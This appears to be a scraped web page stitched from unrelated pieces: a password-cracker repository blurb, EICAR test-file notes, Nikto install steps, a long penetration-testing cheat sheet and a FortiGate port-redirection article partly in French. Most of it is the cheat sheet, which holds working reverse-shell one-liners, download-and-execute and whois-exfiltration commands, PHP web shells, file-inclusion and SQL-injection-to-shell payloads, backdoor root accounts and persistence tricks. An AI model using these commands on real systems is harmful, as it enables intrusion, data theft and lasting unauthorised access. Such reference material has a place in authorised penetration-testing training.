https://github.com/mthambipillai/password-cracker

Basic password cracker as a proof-of-concept for educational purposes. Given a hash and a cracking technique, the program applies the technique to recover the original password from the hash. This project is intended as a learning material for my video about password cracking on my Youtube channel.

As EICAR.org is no longer providing eicar file through HTTP. You can test your antivirus provider from here:

Alternatively, you can also download ECIAR test sample from:

http://rexswain.com/eicar.html

The Anti-Malware Testfile

This test file has been provided to EICAR for distribution as the „EICAR Standard Anti-Virus Test File“, and it satisfies all the criteria listed above. It is safe to pass around, because it is not a virus, and does not include any fragments of viral code. Most products react to it as if it were a virus (though they typically report it with an obvious name, such as „EICAR-AV-Test“).

The file is a legitimate DOS program, and produces sensible results when run (it prints the message „EICAR-STANDARD-ANTIVIRUS-TEST-FILE!“).

It is also short and simple – in fact, it consists entirely of printable ASCII characters, so that it can easily be created with a regular text editor. Any anti-virus product that supports the EICAR test file should detect it in any file providing that the file starts with the following 68 characters, and is exactly 68 bytes long:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Nikto could be install on the Linux VM.

Nikto runs much faster on Linux and this is required for IPS training, or firewall testing

To install Nikto on the Linux machine.

1. Download and install Nikto version 2.1.5 from the official website: http://www.cirt.net/nikto2.
Warning! Required to download the package in the gz format!
For example:
# wget https://cirt.net/nikto/nikto-2.1.5.tar.gz

2. Extract the package using the following command:
tar -zxvf nikto-2.1.5.tar.gz

3. Move the extracted Nikto package to /usr/local/bin:
cd ~
sudo cp -apvf nikto-2.1.5/* /usr/local/bin/
ls -l /usr/local/bin/
sudo vim /usr/local/bin/nikto-2.1.5/nikto.conf

4. Create a symlink for the conf file to /etc and then make the Nikto script executable using chmod:
sudo ln -s /usr/local/bin/nikto.conf /etc/nikto.conf
ls -l /etc/nikto.conf
sudo chmod 755 /usr/local/bin/nikto.pl
ls -l /usr/local/bin/nikto.pl

5. Update the Nikto database packages:
/usr/local/bin/nikto.pl -update

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

Simple Port Knocking

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done

DNS lookups, Zone Transfers & Brute-Force

whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done

Banner Grabbing

nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET

NFS Exported Shares

List NFS exported shares. If ‘rw,no_root_squash’ is present, upload and execute sid-shell

showmount -e 192.168.110.102
chown root:root sid-shell; chmod +s sid-shell

Kerberos User Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

HTTP Brute-Force & Vulnerability Scanning

target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum

RPC / NetBios / SMB

rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET

SNMP

# Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25

# Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2

# Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3

# Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET

SMTP

smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150

Gaining Access

Reverse Shell One-Liners

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

XTerm

xterm -display 10.0.0.1:1

JDWP RCE

print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())

Working with Restricted Shells

# rare cases
ssh bill@localhost ls -l /tmp

nice /bin/bash

Interactive TTY Shells

/usr/bin/expect sh

python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'

Uploading/POSTing Files Through WWW Upload Forms

# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v

PUTing File on the Webhost via PUT verb

curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php

Generating Payload Pattern & Calculating Offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE

Bypassing File Upload Restrictions

• file.php -> file.jpg
• file.php -> file.php.jpg
• file.asp -> file.asp;.jpg
• file.gif (contains php code, but starts with string GIF/GIF98)
• 00%
• file.jpg with php backdoor in exif (see below)
• .jpg -> proxy intercept -> rename to .php

Injecting PHP into JPEG

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png

Uploading .htaccess to interpret .blah as .php

AddType application/x-httpd-php .blah

Cracking Passwords

Cracking Web Forms with Hydra

hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list

Cracking Common Protocols with Hydra

hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1

HashCat Cracking

# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout  

# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

Generating Payload with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

Compiling Code From Linux

# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe

# Linux
gcc -m32|-m64 -o output source.c

Local File Inclusion to Shell

nc 192.168.1.102 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close

# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id

Local File Inclusion: Reading Files

file:///etc/passwd

http://example.com/index.php?page=php://input&cmd=ls
    POST: <?php system($_GET['cmd']); ?>
http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
    POST: <?php system('uname -a');die(); ?>

expect://whoami
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E

# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
http://example.com/index.php?page=zip://shell.jpg%23payload.php

# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -

Remote File Inclusion Shell: Windows + PHP

<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>

SQL Injection to Shell or Backdoor

# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj

# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10

# netcat reverse shell via mssql injection when xp_cmdshell is available
1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--

SQLite Injection to Shell or Backdoor

ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; 
CREATE TABLE pwn.shell (code TEXT); 
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');

MS-SQL Console

mssqlclient.py -port 27900 user:password@10.1.1.1
sqsh -S 10.1.1.1 -U user -P password

Upgradig Non-Interactive Shell

python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh

Python Input Code Injection

__import__('os').system('id')

Local Enumeration & Privilege Escalation

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

# We're interested in modules without protection, Read & Execute permissions
!mona modules

Finding JMP ESP Address

!mona find -s "\xFF\xE4" -m moduleName

Cracking a ZIP Password

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip

Setting up Simple HTTP server

# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:80

MySQL User Defined Fuction Privilge Escalation

Requires raptor_udf2.c and sid-shell.c or full tarball

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/raptor_udf2.so'));
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');

Docker Privilege Esclation

echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh

Resetting root Password

echo "root:spotless" | chpasswd

Uploading Files to Target Machine

TFTP

#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start

# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file

FTP

# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve

# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt 
ftp -s:ftp-commands.txt

# Or just a one-liner
(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd

PHP

<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>

Python

python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"

HTTP: Powershell

powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');

HTTP: VBScript

Copy and paste contents of wget.vbs into a Windows Shell and then:

cscript wget.vbs http://$ATTACKER/file.exe localfile.exe

HTTP: Linux

wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/backdoor.py

NetCat

# Attacker
nc -l -p 4444 < /tool/file.exe

# Victim
nc $ATTACKER 4444 > file.exe

HTTP: Windows “debug.exe” Method

# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.

HTTP: Windows BitsAdmin

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe

Whois Data Exfiltration

# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`

Bash Ping Sweeper

#!/bin/bash
for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done

Brute-forcing XOR’ed string with 1 byte key in Python

encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))

Generating Bad Character Strings

# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])

# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

Converting Python to Windows Executable (.py -> .exe)

python pyinstaller.py --onefile convert-to-exe.py

Port Scanning with NetCat

nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162

Exploiting Vulnerable Windows Services: Weak Service Permissions

# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]

Creating Persistence

sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER

SSH: Dynamic Port Forwarding

# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D 127.0.0.1:8080 user@SSH_SERVER

SSH: Remote Port Forwarding

# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP

Proxy Tunnel

# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@127.0.0.1 -p 5555

HTTP Tunnel: SSH Over HTTP

# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
htc -F 8080 192.168.1.15:80

# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
ssh localhost -p 8080

RunAs / Start Process As

PowerShell

# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"

CMD

# Requires interactive console
runas /user:userName cmd.exe

PsExec

psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe

Pth-WinExe

pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe

Recursively Find Hidden Files: Windows

dir /A:H /s "c:\program files"

General File Search

# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf

Post-Exploitation & Maintaining Access

Browsing Registry Hives

hivesh /registry/file

Decrypting VNC Password

wine vncpwdump.exe -k key

Creating User and Adding to Local Administrators

net user spotless spotless /add & net localgroup Administrators spotless /add

Creating SSH Authorized Keys

mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys

Creating Backdoor User w/o Password

echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2

Creating Another root User

useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser

Generating OpenSSL Password

openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.

Persistent Back Doors

# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe

This was inspired by and forked/adapted/updated from Dostoevsky’s Pentest Notes.

Port Redirection on VIP with same External and Mapped IP

Products : FortiGate

https://kb.fortinet.com/kb/documentLink.do?externalID=FD45204

This article describes how to apply port redirection for specific application in VIP when External and Mapped IP addresses are the same.Below is the diagram of a client trying to connect to the application server on port 2022 while the server is listening on port 22, the VIP settings have the same IP for both External and Mapped IP.

What I want to highlight is that does not work in FortiOS 6.2 or FortiOS 6.4

Solution

Create DNAT VIP using CLI and configure the same IP for both External and Internal IP with the required port redirection. Ensure arp-reply setting is disable, else the response will come from the FortiGate interface.

# edit “SSH_redirect”
    set extip 10.130.0.52
    set extintf “any”
    set arp-reply disable                 <- arp-reply must be disable, else it will hit local-in policy
    set portforward enable
    set mappedip “10.130.0.52”
    set extport 2022
    set mappedport 22
nextNext, create a new firewall policy as below by referencing the VIP object:

# config firewall policy
    edit 1        set srcintf “port1”        set dstintf “port2”        set srcaddr “all”        set dstaddr “SSH_redirect”        set action accept        set schedule “always”        set service “ALL”    end

Debug flow output as below indicate the the traffic have been accepted:id=20085 trace_id=1 func=print_pkt_detail line=5347 msg=”vd-root received a packet(proto=6, 10.129.0.2:50213->10.130.0.52:2022) from port1. flag [S], seq 1249160343, ack 0, win 8192″
id=20085 trace_id=1 func=init_ip_session_common line=5506 msg=”allocate a new session-0000d0c9″
id=20085 trace_id=1 func=fw_pre_route_handler line=185 msg=”VIP-10.130.0.52:22, outdev-unkown”
id=20085 trace_id=1 func=__ip_session_run_tuple line=3268 msg=”DNAT 10.130.0.52:2022->10.130.0.52:22″
id=20085 trace_id=1 func=vf_ip_route_input_common line=2574 msg=”find a route: flag=04000000 gw-10.130.0.52 via port2″
id=20085 trace_id=1 func=fw_forward_handler line=743 msg=”Allowed by Policy-58:”
id=20085 trace_id=2 func=print_pkt_detail line=5347 msg=”vd-root received a packet(proto=6, 10.129.0.2:50213->10.130.0.52:2022) from port1. flag [.], seq 1249160344, ack 3448098817, win 256″
id=20085 trace_id=2 func=resolve_ip_tuple_fast line=5422 msg=”Find an existing session, id-0000d0c9, original direction”
id=20085 trace_id=2 func=__ip_session_run_tuple line=3268 msg=”DNAT 10.130.0.52:2022->10.130.0.52:22″
id=20085 trace_id=3 func=print_pkt_detail line=5347 msg=”vd-root received a packet(proto=6, 10.129.0.2:50213->10.130.0.52:2022) from port1. flag [.], seq 1249160344, ack 3448098817, win 256″

En version 6.0 et supérieur, cette configuration n’est pas autorisée:
FortiGate affiche “Mapped IP must be different from External IP”

Static NAT’s extip should be different from mappedip.

object check operator error, -8, discard the settingCommand fail. Return code 1

L’astuce consiste à configurer la VIP en mode load-balance ! Et ouai !

config firewall vip
edit “test”
set type load-balance <———-
set extip 192.168.3.2
set arp-reply disable <—–
set extintf “lan”
set portforward enable
set mappedip “192.168.3.2”
set extport 10443
set mappedport 443
next
end

Pour la petite histoire, j’ai essayé en mode normal et en mode Central NAT. J’ai essayé avec extip = 0/0, pas mieux.

Par ailleurs, il y a aussi une commande qui a disparu (alors qu’elle existait en 5.4):

Pas de réponse du support sur ce point… mais on a trouvé une solution satisfaisante donc…